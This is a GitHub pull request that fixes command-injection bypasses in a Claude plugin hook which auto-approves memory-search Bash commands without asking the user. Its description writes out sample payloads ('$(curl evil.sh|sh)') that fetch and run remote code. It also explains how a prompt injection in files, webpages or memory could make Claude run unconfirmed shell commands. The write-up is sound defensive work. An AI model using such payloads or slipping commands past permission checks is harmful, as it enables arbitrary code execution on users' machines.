fix(security): close command-injection bypass in recall-approve auto-allow - #89
Merged
ishaanxgupta merged 4 commits intoAug 12, 2026
Conversation
…allow isSupermemorySearch() decided whether to auto-approve a Bash tool call (skipping the user's permission prompt entirely) using a blocklist of shell metacharacters (;&|`> and $(). Two bypasses were possible: - A newline-separated extra command: any command containing the substrings "node" and "search-memory.cjs" anywhere was approved in full, so lines before/after the real invocation ran unconfirmed. - Command substitution inside the quoted query itself, e.g. "$(curl evil.sh|sh)" - none of the blocked characters appear outside the quotes, but bash still expands $(...) and backticks even inside double-quoted strings. Since a prompt-injected instruction could get Claude to emit a crafted Bash command, either gap allowed arbitrary shell execution with zero user confirmation. Replaced the blocklist with an allowlist anchored to the whole command string, matching only the documented invocation shape: `node <path-to-search-memory.cjs> [--user|--repo|--both] "query"`. Quotes, newlines, backticks, and $( are excluded from both the path and query segments, so there is no leftover shell syntax to smuggle anything into.
Contributor
Author
|
@Dhravya closes a command-injection bypass in the |
ishaanxgupta
approved these changes
Aug 12, 2026
Contributor
|
Thanks for the PR @ayushsingh82 |
ishaanxgupta
approved these changes
Aug 12, 2026
ved015
approved these changes
Aug 12, 2026
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Add this suggestion to a batch that can be applied as a single commit.This suggestion is invalid because no changes were made to the code.Suggestions cannot be applied while the pull request is closed.Suggestions cannot be applied while viewing a subset of changes.Only one suggestion per line can be applied in a batch.Add this suggestion to a batch that can be applied as a single commit.Applying suggestions on deleted lines is not supported.You must change the existing code in this line in order to create a valid suggestion.Outdated suggestions cannot be applied.This suggestion has been applied or marked resolved.Suggestions cannot be applied from pending reviews.Suggestions cannot be applied on multi-line comments.Suggestions cannot be applied while the pull request is queued to merge.Suggestion cannot be applied right now. Please check back later.
Summary
recall-approve.cjsruns onPreToolUseforSkill|Bashand, when it recognizes a Supermemory search command, returnspermissionDecision: "allow"— skipping the user's permission prompt entirely so the reasoned-recall feature can search without interrupting the session.isSupermemorySearch()'s Bash check was a blocklist: it required the command to containsearch-memory.cjs, and rejected it only if it also contained;,&,|, a backtick,>, or$(. Two bypasses fall through that blocklist:/node[\s\S]*search-memory\.cjs/) matches across newlines, and none of the blocked characters include\n. A 5-line command where only the last line callssearch-memory.cjsgets approved in full — every earlier line runs too, unconfirmed.node search-memory.cjs "$(curl evil.example|sh)". None of the blocked characters appear outside the quotes (the|is inside the string), but bash still expands$(...)/backticks even inside double-quoted arguments.Since this hook exists to bypass the permission prompt, and a prompt-injected instruction (from a malicious file, webpage, or memory entry Claude reads) could get Claude to emit a crafted Bash command, either gap allows arbitrary shell execution with zero user confirmation.
Fix
Replaced the blocklist with an allowlist anchored to the entire command string, matching only the documented invocation shape from the
supermemory-searchskill:node <path-to-search-memory.cjs> [--user|--repo|--both] "query". Quotes, newlines, backticks, and$(are excluded from both the path and query segments, so there's no leftover shell syntax available to smuggle anything in — legitimate invocations (including the real${CLAUDE_PLUGIN_ROOT}form) still match.Test plan
npm testpasses, including new cases intest/unit.mjsthat spawn the realplugin/scripts/recall-approve.cjsbundle with aPreToolUsepayload and assert the permission decision:$(...)/ backtick command substitution inside the query is not approved;/&&-chained commands are not approvednpm run lintpassesplugin/scripts/recall-approve.cjsrebuilt vianpm run buildand committed alongside thesrc/change